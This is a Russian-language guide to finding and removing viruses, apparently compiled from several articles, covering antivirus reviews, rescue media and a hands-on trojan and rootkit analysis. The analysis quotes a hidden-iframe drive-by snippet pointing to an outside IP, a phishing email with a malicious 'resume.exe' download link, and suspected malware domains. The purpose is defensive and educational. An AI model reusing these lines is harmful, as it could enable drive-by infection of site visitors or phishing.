Как удалить вирус из компьютера своими руками. Как удалить вирус с компьютера с помощью антивирусных программ

Злоумышленники создают специальные программы, которые затрудняют работу на ПК, вымогают деньги, крадут личные данные и передают третьим лицам. Эти вредоносные приложения называются вирусами, и они поражают незаметно для пользователя компьютер. Удалить их можно при помощи программ-защитников, которые разработаны для обнаружения и устранения угроз, как со съемных носителей (диск, флешка), так и через интернет.

Как выявить вирус на компьютере

Вредоносное ПО представляет собой саморазмножающуюся программу, которая в большей или меньшей степени влияет на работу ноутбука или ПК. Некоторые из них могут долго бездействовать и человек даже не подозревает о проблеме. В определенный момент приложение активируется и блокирует Windows, какую-то определенную часть данных или весь винчестер, требует заплатить деньги, чтобы человек мог вновь пользоваться своим компьютером. Есть и другие признаки, которые указывают на наличие вируса в ПК.

Виды вирусных программ

Существует несколько типов вредоносных утилит, которые следует удалить с компьютера для безопасности данных. Вирусы характеризуется тем, что получают доступ к ПК или управляют им без вашего разрешения. Основная цель вредоносных программ – вымогательство или нарушение работоспособности устройства. Выделяют следующие виды опасного ПО:

Троянский конь или просто троян. Название связано с тем, что код проникает в другие программы, какое-то время бездействует. Когда запускается приложение-хозяин, вирус активируется. Как правило, он используется для кражи данных, удаления приложений. Распространяться далее по ПК самостоятельно он не может.
Червь. Приводит к тому, что система тормозит, очень медленно загружаются странички в интернете, открываются папки. Проникают такие вирусы часто через письма или установочные файлы. Основная цель червя – забить систему «мусором».
Программа-шпион. Вредоносный код проникает на ПК и собирает всю возможную информацию о пользователе, его действиях. Стараются вирусы украсть и номера счетов или карт, адреса, пароли.
Зомби. Название связано с тем, что вирус превращает компьютер в «безвольную игрушку» злоумышленника. Подчиняется ПК только ему и повлиять на него вы уже не можете. Человек не сразу замечает, что компьютер уже не только его.
Баннер (программа-блокировщик). Действия вируса просты – он закрывает доступ к Виндовс. Пользователь включает устройство, но вместо рабочей среды видит только большой баннер-окно, где находится какое-то сообщение о нарушении авторских прав или обвинение в использовании пиратского софта или даже распространении порнографических материалов. Далее пишут о том, что избежать наказания вы можете только, если выплатите определенную сумму на счет или номер телефона по смс. Делать этого нельзя, потому что управление ПК к вам не вернется.
Эксплоит. Этот вид вредоносного ПО проникает через уязвимости в системе защиты Windows. Приложение собирает информацию для захвата управления над устройством.
Загрузочные вирусы. Проникают в сектор винчестера, который отвечает за включение операционной системы. Вредоносное ПО замедляет процесс загрузки ОС с жесткого диска, а через какое-то время и вовсе не дает ее запустить.
Фарминг. Эти вирусы проникают на компьютер вместе с червями, троянами и подсаживаются в браузер. Далее пользователя при загрузке страниц в интернете перенаправляют на сторонние сайты.
Рутик. Вид вируса, который открывает доступ злоумышленнику к программам жертвы, а затем полностью скрывать свое присутствие.
Программный вирус. Вредоносный код «прилипает» к одной из установленных утилит на ПК и начинает нарушать ее работу, активно размножаться, что отличает его от червя.

Признаки заражения компьютера вредоносным по

После проникновения вируса ПК работает нестабильно. Проявлений заражения много, но существует определенный перечень, который точно указывает на наличие проблемы. Удаление компьютерных вирусов следует проводить, когда вы заметили следующие симптомы вирусов:

Ощутимо снижается скорость работы устройства без видимых на то причин (поломка деталей и т.д.), Виндовс начинает зависать.
Не получается открыть файлы или появились «битые» (испорченные) документы. Обеспокоиться следует, если не открываются программы с расширением exe.
Ошибки, сбои приложений, замедление работы программ.
Блокирование некоторых страниц в интернете, особенно, если это коснулось популярных ресурсов вроде ВКонтакте, Youtube, Одноклассники.
При загрузке Windows появляется сообщение с требованием отправить СМС для разблокировки.
Изменение или пропажа паролей, доступов к разным ресурсам.

Удаление вирусов с компьютера антивирусной программой

Скачайте, установите антивирус. Программное обеспечение этого вида помогает пользователю при минимальных усилиях избавиться от заражения системы. Антивирус способен удалить вредоносные файлы без нарушения работы ядра системы. Вручную работать с системными файлами очень сложно, начинающий пользователь не сможет этого сделать. Важно скачивать антивирусные программы с официального сайта. Инсталлировать сразу несколько защитников не стоит, они часто конфликтуют между собой.
Обновление базы антивируса. Чтобы успешно удалить трояна или червя, защитник должен иметь о нем данные. Базы обновляются постоянно, добавляются новые методы обнаружения вредоносного ПО. Обновляйте вручную антивирус регулярно.
Отключите интернет. Это не даст шпиону отправлять данные создателю. Пока вы будете лечить свой ПК, отсоедините шнур или выключите Wi-Fi.
Глубокая проверка системы. Если вы уверены, что червь сидит в определенной папке, то можно запустить глубокую проверку отдельной директории или папки. Это исключит вероятность пропуска других вредоносных программ, которые с основным вирусом.

Встроенный Microsoft Security Essential

При установке операционной системы Windows есть стандартный антивирус от Майкрософт. Он может проводить на базовом уровне проверку системы и при необходимости удалить вирусы. Если вы пользуетесь не 10-й версией операционки, то загрузить Microsoft Security Essential придется отдельно из интернета. Обладает утилита следующими преимуществами и недостатками:

Плюсы. Обеспечивают хорошую защиту на базовом уровне, никак не влияет на работу системы, не загружает ее.
Минусы. Малая функциональность, не может обнаружить сложные программы-баннеры, браузерные трояны.

Kaspersky Free

Это популярный на постсоветском пространстве антивирус. Данная версия не является полной и распространяется на бесплатной основе, но справиться с некоторыми вирусами она все же поможет. Скачать Kaspersky Free можно на официальном сайте. Приложение может удалить большинство известных троянов, червей и шпионов даже с урезанным функционалами. Выделяют следующие преимущества и недостатки:

Плюсы. Простой, понятный интерфейс приложения. Чтобы удалить вирус, используется та же база, что и в платной версии продукта. Обеспечивает утилита хорошую файловую и веб-защиту, обладает высоким быстродействием.
Минусы. Бесплатная версия не включает файерволы, родительский контроль, сетевую защиту и еще несколько функций. Некоторые сложные вирусы программа не распознает.

Avast Free Antivirus

Еще один популярный вариант, который поможет вам обезвредить вредоносные программы – Аваст (Avast). Имеет бесплатную версию, которая способна удалить большинство известных червей, шпионов и троянов. Независимые тесты установили, что Аваст при диагностике выявляет 99 % угроз в 10, 8 и 7 версии Виндовс. Обязательно укажите электронный ящик при регистрации продукта – это откроет вам доступ к использованию антивируса бесплатно на целый год. Выделяют следующие преимущества и недостатки.

имеет анализ для оценки потенциальной угрозы от файла, защищает от большинства червей, троянов и т.д.;
понятный, простой интерфейс приложения;
включает дополнительные функции для защиты системы, у пользователя есть возможность индивидуальной настройки под себя;
выполняет защиту дополнений браузеров, расширений, проводит сканирование при загрузке;
можно включить геймерский режим, при котором останавливаются некоторые режимы проверки, чтобы снизить потребление ресурсов антивирусом;
встроенный менеджер паролей;
защита устройства при подключении к неизвестными Wi-Fi сетям;
регулярные обновления базы данных.

использовать бесплатную версию можно только на личном ПК, недоступна для коммерческих целей;
периодически появляются окна с предложением купить антивирус;
каждый год требуется продлевать регистрацию.

Dr. Web Curelt

Это не совсем антивирус, это сканер, который помогает вам просканировать систему для выявления зараженных файлов и вредоносного ПО. Он поможет их удалить, но осуществлять защиту на постоянной основе приложение не может. Разработчики советуют применять доктора Web совместно с другой антивирусной программой для контроля тех вирусов, которые пропустил основной защитник.

не нужно устанавливать программу;
помогает удалить троянских шпионов, почтовых червей, макро- и стелс-вирусы, полиморфные программы;
может лечить, а не только удалять поврежденные данные;
устраняется кейлогеры, рекламные баннеры, программы-дозвонщики;
регулярное обновление баз.

нет автоматического обновление баз данных, приходится удалять программу полностью и скачивать заново;
нет веб-режима.

BitDefender Antivirus Plus 2019

Распространяется как на платной, так и на бесплатной основе. Вторая версия имеет урезанный функционал, но от вирусов защищает. Регулярное обновление вирусных баз, глубокое сканирование обеспечивает высокий уровень защиты. Специалисты в сфере антивирусной безопасности высоко оценивают эту программы. Выделяют некоторые преимущества и недостатки BitDefender Antivirus Plus 2019.

регулярное обновление базы данных;
стабильная эффективность сканирования угроз;
простой, минималистичный интерфейс, нет ненужных «наворотов», часто всплывающих окон с предложением купить полную версию;
можно составить расписание для проверки ПК, провести быстрое сканирование;
не потребляет много ресурсов системы, не вызывает торможения работы ОС.

не поддерживает русский язык;
проверяет всю систему целиком, выполнить проверку отдельного диска или папки нельзя.

Как убрать вирусы с компьютера, блокирующие Windows

Работа некоторых программ-злоумышленников может заблокировать доступ к операционной системе на этапе загрузки. Пользователь не может зайти в безопасный режим, вызвать диспетчер задач, чтобы закрыть подозрительный процесс или вызвать командную строку для работы с реестром. Самым жестким решением в этом случае станет отформатировать полностью винчестер и установить заново Windows. Это приведет к полной потере данных с диска С. Если же вирусная утилита поселилась в директории D, то ситуация может повториться.

Во избежание таких ситуаций у вас должен быть аварийный загрузочный носитель. Он помогает запустить антивирус еще на старте запуска компьютера без входа в Виндовс. Произойдет автозагрузка, которая позволит выполнить проверку системы и вернуть к рабочему состоянию. Использовать для создания аварийной загрузки можно дисковод или флешку и специальный софт.

«Аварийные» загрузочные диски

Если не получается загрузить систему и удалить вирусный объект, необходимо использовать Live CD. Представляет собой этот диск специальную загрузочную версию программы, которая помогает проверить и удалить вирусы из ОС. Если же лечение не удалось, то будет возможность скопировать с HDD на альтернативные носители информации. Для этих создания Live CD используют такие популярные утилиты:

Dr.Web® LiveCD – инструмент от одноименной компании. Очень простой и доступный набор, который работает безотказно.
LiveCD ESET NOD32. Помогает очистить ПК от вирусов, но процедура занимает продолжительное время.
Kaspersky Rescue Disk 10. Вариант аварийного набора, который работает быстро и поддерживает русский язык.

Для создания самого диска требуется просто следовать указаниям инсталлятора. Далее перезагрузите компьютер и зайдите в BIOS. Как только начинает загружаться ПК кликайте F2 или Del, чтобы туда попасть. Вам необходимо найти вкладку, которая имеет в название слово Boot. Установите дисковод в качестве приоритетного носителя для загрузки, нажмите F10 для сохранения и перезагрузки ПК.

Если все сделано верно, то появится интерфейс Live CD, где можно начать проверять жесткий диск. Программа должна удалить вредоносные приложения и снять блокировку при запуске Виндовс. Это самый надежный вариант для устранения вирусов. Если аварийного диска нет, то нужно найти другой компьютер и сделать его на нем. Рекомендуется иметь Live CD всегда под рукой.

Создание загрузочной флешки с антивирусным ПО

Некоторые современные ноутбуки и ПК не имеют дисковода и воспользоваться аварийным запуском можно только при помощи USB-устройства. Для создания понадобится следующее:

пустая флешка;
образ антивируса Касперского – Kaspersky Rescue Disk;
программа для создания аварийной флешки – Kaspersky USB Rescue Disk Maker.

Начните с программы, дважды клинике по ней левой клавишей мыши и выполняйте следующую пошаговую инструкцию:

Появится окно, куда нужно распаковать приложение. Можно установить ее туда же. Где лежит архив. Жмите на кнопку Install.
Утилита запуститься автоматически после распаковки. Кликните по слову «Обзор».
Укажите место, где хранится образ антивируса Касперского.
Далее нужно выбрать USB-носитель, куда требуется записать программу. Щелкните по надписи «Старт».
Важно, чтобы флешка имела формат файловой системы FAT или FAT32. Появится окошко, где можно выбрать этот параметр. Нажмите «Да».
Дождитесь завершения записи.
Появится окно с оповещением об успешном создании аварийной флешки.

Далее необходимо подготовить сам ПК для работы с загрузочным носителем. Перезагрузите устройство, перейдите в БИОС (как это сделать описано в предыдущем пункте). Вам необходимо зайти в раздел BOOT и выставить в конфигурации загрузки, чтобы первой была флешка. После включения этой опции нажмите F10, чтобы перезапустить ПК. При верном выполнении всех действий появится интерфейс Касперского, сразу же нужно нажать «Enter». Далее при помощи стрелок выберете Русский язык, примите условия лицензирования и запустите графический режим.

На следующем этапе запустится проверка системы, выставьте птички напротив каждого диска. Программа просканирует систему чтобы внести исправления и выполнить восстановление тех файлов, которые можно вылечить. Самих червей, троянов и шпионов нужно удалить. После окончания работы загрузочной флешки перезагрузите систему. Не забудьте снова зайти в БИОС и сделать загрузку с HDD первым в очереди.

Видео

За борьбу с компьютерными вирусами ответственны специальные антивирусные программы. Они обязаны автоматически удалять все вирусы с компьютера. Но иногда антивирусные программы не «видят» и пропускают новые вирусы, удаляют с вирусом зараженные файлы, которые нам жизненно необходимы. Все это приводит к тому, что надо научиться удалять вредные программы вручную самостоятельно.

Самое главное в борьбе с компьютерными вирусами (так же, как с обычными) – это обнаружить их вовремя и профилактика. Случается что, невзирая на установленный антивирус, заражение компьютера произошло. Как узнать, что компьютер заражен? Множество вирусов сначала ведут себя очень незаметно. Вы отмечаете, что компьютер работает гораздо медленнее, притормаживает, выдает непонятные ошибки. Возникает предчувствие беды – все идет как-то не так. Начните поиск возможных вирусов безотлагательно. Многие опытные пользователи советуют обязательно запускать антивирусную программу в безопасном режиме. Для этого в начале загрузки системы нажмите клавишу «F8» (очень быстро, несколько раз) для перехода к выбору режима загрузки. Выберите «Безопасный режим», в нем вирусам сложнее маскироваться. Вы с антивирусной программой скорее избавитесь от незваных гостей. У каждого свои предпочтения, но чаще всего в качестве антивирусной программы пользователи выбирают «NOD32». Войдите в меню вашего антивируса: дважды щелкните на его иконке в панели задач. Обновите антивирусную базу. Затем в главном окне найдите строку «Сканирование ПК», кликните подпункт «Выборочное сканирование». Откроется окно для выбора объектов проверки. Отметьте все устройства, где могут быть вирусы: оперативная память, локальные диски, устройства внешней памяти (если они подключены). Нажмите «Сканировать».

Начнется проверка отмеченных устройств на наличие вирусов. Весь процесс может быть длительным. Все зависит от объема проверяемой информации. В журнале сканирования вы увидите его результат. Если зараженные файлы найдены, то они не удалятся автоматически. Во время сканирования компьютер может слегка притормаживать. Лучше воздержаться пока от каких-либо действий на нем. Дождитесь полного завершения процесса. Процесс сканирования дисков завершен. Откройте журнал проверки. Зараженные файлы в нем будут выделены красным цветом. Просмотрите их очень внимательно, без паники. Если зараженный файл не представляет ценности – смело удаляйте. Для этого выделите файл левой кнопкой мыши, потом нажмите кнопку «Удалить». Внимательно просматривая информацию в журнале, таким способом удалите все зараженные ненужные вам файлы. Можно отметить сразу несколько зараженных файлов и удалить все. Ценную информацию поместите пока в карантин. Затем постарайтесь вылечить. Если ваш антивирус не справился с этим, то прочитайте в журнале название вируса, поищите в интернете специальные утилиты для борьбы именно с этим недугом. Например, с удалением «троянцев» справится прекрасная утилита Trojan Remover. Для каждого вируса можно найти средство лечения. Но если ничто не помогло, то удаляйте зараженный файл – не стоит рисковать остальной информацией.

В борьбе с вирусами надо действовать решительно и применять различные способы проверки ПК. После сканирования установленной антивирусной программой проверьте все диски еще раз утилитой Dr.Web CureIt. Скачайте ее в интернете совершенно бесплатно. Если ваш основной антивирус Dr.Web, то скачайте другую утилиту – AVPTool. Не забывайте о регулярном создании копий важной информации на внешних носителях.

Что делать, если антивирус не справился со своей работой.

Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.

Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.

Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.

Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:

запустить редактор групповых политик gpedit.msc

перейти в "Конфигурация компьютера" - - "Конфигурация Windows" - "Административные шаблоны" - "Компоненты Windows" - "Политика автозапуска".

установить значение "Вкл." для компонента "Отключить автозапуск"

Но основным "поставщиком" вирусов, несомненно, является Интернет и, как основное прикладное программное обеспечение - "Обозреватель Интернета" (браузер). Сайты становятся все сложнее и красивее, появляются новые мультимедийные возможности, растут социальные сети, постоянно увеличивается количество серверов и растет число их посетителей. Обозреватель Интернета постепенно превращается в сложный программный комплекс - интерпретатор данных, полученных извне. Другими словами, - в программный комплекс, выполняющий программы на основании неизвестного содержимого. Разработчики обозревателей (браузеров) постоянно работают над повышением безопасности своих продуктов, однако производители вирусов тоже не стоят на месте, и вероятность заражения системы вредоносным ПО остается довольно высокой. Существует мнение, что если не посещать "сайты для взрослых", сайты с серийными номерами программных продуктов и т.п. то можно избежать заражения. Это не совсем так. В Интернете немало взломанных сайтов, владельцы которых даже не подозревают о взломе. И давно прошли те времена, когда взломщики тешили свое самолюбие подменой страниц (дефейсом). Сейчас подобный взлом обычно сопровождается внедрением в страницы вполне добропорядочного сайта, специального кода для заражения компьютера посетителя. Кроме того, производители вирусов используют наиболее популярные поисковые запросы для отображения зараженных страниц в результатах выдачи поисковых систем. Особенно популярны запросы с фразами "скачать бесплатно" и " скачать без регистрации и SMS". Старайтесь не использовать эти слова в поисковых запросах, иначе, риск получения ссылки на вредоносные сайты значительно возрастает. Особенно, если вы ищете популярный фильм, еще не вышедший в прокат или последний концерт известнейшей группы.

Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:

iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"

Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.

В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.

Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.

Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.

Здравствуйте.
Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
наш фирменный бланк резюме и отправить его по адресу [email protected]
Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
позвоним Вам в течение нескольких дней. Не забудьте
указать телефон, а также позицию, на которую Вы претендуете. Желательно
также указать пожелания по окладу.
Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
http://verano-konwektor.pl/resume.exe

Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.

Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего, получите троянскую программу на свой компьютер.
Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
Копирую файл на другие компьютеры, где установлены различные антивирусы - просто для очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8 Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция. Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле, не зря набирает популярность.
Все эксперименты выполняю на виртуальной машине с операционной системой Windows XP. Учетная запись с правами администратора, поскольку, чаще всего вирусы успешно внедряются в систему только, если пользователь является локальным администратором.
Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал свое черное дело.
Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка. На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP. Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же оставить вирусу хоть какую-то возможность проявить свою активность. Как правило, после внедрения, вирус должен связаться с хозяином или с заданным сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете сказанного выше, умный вирус может их замаскировать, кроме того, он может и обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого не произошло, но для надежного анализа сетевой активности весь трафик зараженной машины лучше пустить через другую, незараженную, где можно быть уверенным, что правила брандмауэра выполняются, а анализатор трафика (я пользовался Wireshark"ом) выдает то, что есть на самом деле.
Перезагружаюсь. Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет, поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в службах, ни в системных каталогах не появилось ничего нового. Просмотр системного журнала дает только одну наводку - системе не удалось запустить таинственную службу grande48 . Такой службы у меня быть не могло, да и по времени это событие совпало с моментом внедрения. Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре записи о службе grande48 и отсутствие второго сообщения в журнале системы об ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая недоработка вирусописателей. Хотя и несущественная, ведь большинство пользователей журнал событий не просматривают, да и на момент возникновения подозрения на заражение эта запись в журнале уже может и отсутствовать.

Определяем наличие вируса в системе.

1. Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.

2. Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:

Кстати, даже не вникая в содержания строк, можно сразу заметить, что имеются очень "свежие" по времени создания/модификации записи или файлы (колонка "Timestamp") . Нас в первую очередь должны заинтересовать файлы с описанием (колонка "Description" ) - "Hidden from Windows API" - скрыто от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это, естественно, ненормально. Два файла - grande48.sys и Yoy46.sys - это как раз то, что мы ищем. Это и есть прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала - это нормальные драйверы Windows XP. Кроме того, вирус скрывал их наличие только в папке \system32 , а их копии в \system32\dllcache остались видимыми.
Напомню, что в Windows XP применяется специальный механизм защиты системных файлов, называемый Windows File Protection (WFP) . Задача WFP - автоматическое восстановление важных системных файлов при их удалении или замене устаревшими или неподписанными копиями. Все системные файлы Windows XP имеют цифровую подпись и перечислены в специальной базе данных, используемой WFP. Для хранения копий файлов используется папка \system32\dllcache и, отчасти, \Windows\driver cache . При удалении или замене одного из системных файлов, WFP автоматически копирует "правильную" его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache , то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP. Попробуйте удалить vga.sys из \system32, и система тут же его восстановит, используя копию из dllcache. А ситуация, когда, при работающей системе восстановления файлов, файл драйвера есть в \dllcache и его не видно в \system32 - это тоже дополнительный признак наличия руткита в системе.

Удаляем вирус из системы.

Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.

Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.

Выбираем систему (если их несколько):

Вводим пароль администратора.
Список драйверов и служб можно просмотреть с помощью команды listsvc:

В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:

Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:

Водим команду EXIT и система уходит на перезагрузку.
После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его файлы и очистить реестр от его записей. Можно проделать это вручную, а можно использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения, будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря Данилова. Скачать можно отсюда - http://freedrweb.ru
Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет восстановить работоспособность системы, пораженной действиями вирусов, на рабочих станциях и серверах под управлением Windows\Unix, скопировать важную информацию на сменные носители либо другой компьютер, если действия вредоносных программ сделали невозможным загрузку компьютера. Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и подозрительных файлов, но и попытается вылечить зараженные объекты. Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso) и записать его на CD. Будет создан загрузочный диск, загрузившись с которого, руководствуетесь простым и понятным меню.

Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD, можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить, загрузившись в другой ОС, например, с использованием Winternals ERD Commander. Для сканирования зараженной системы необходимо указать именно ее жесткий диск (Режим "Выборочная проверка"). Сканер поможет вам найти файлы вируса, и вам останется лишь удалить связанные с ним записи из реестра.
Поскольку вирусы научились прописываться на запуск в безопасном режиме загрузки, не мешает проверить ветку реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
Разделы:
Minimal - список драйверов и служб запускаемых в безопасном режиме (Safe Mode)
Network - то же, но с поддержкой сети.

Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.

Если у вас возникли сомнения относительно какого-либо файла, то можно воспользоваться бесплатной онлайновой антивирусной службой virustotal.com . Через специальную форму на главной странице сайта закачиваете подозрительный файл и ждете результатов. Сервисом virustotal используются консольные версии множества антивирусов для проверки вашего подозреваемого файла. Результаты выводятся на экран. Если файл является вредоносным, то с большой долей вероятности, вы сможете это определить. В какой-то степени сервис можно использовать для выбора "лучшего антивируса".
ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок компьютера, браузера, файлов...

Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services

Информация, предназначенная для диспетчера сеансов, находится в ключе реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager

Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи

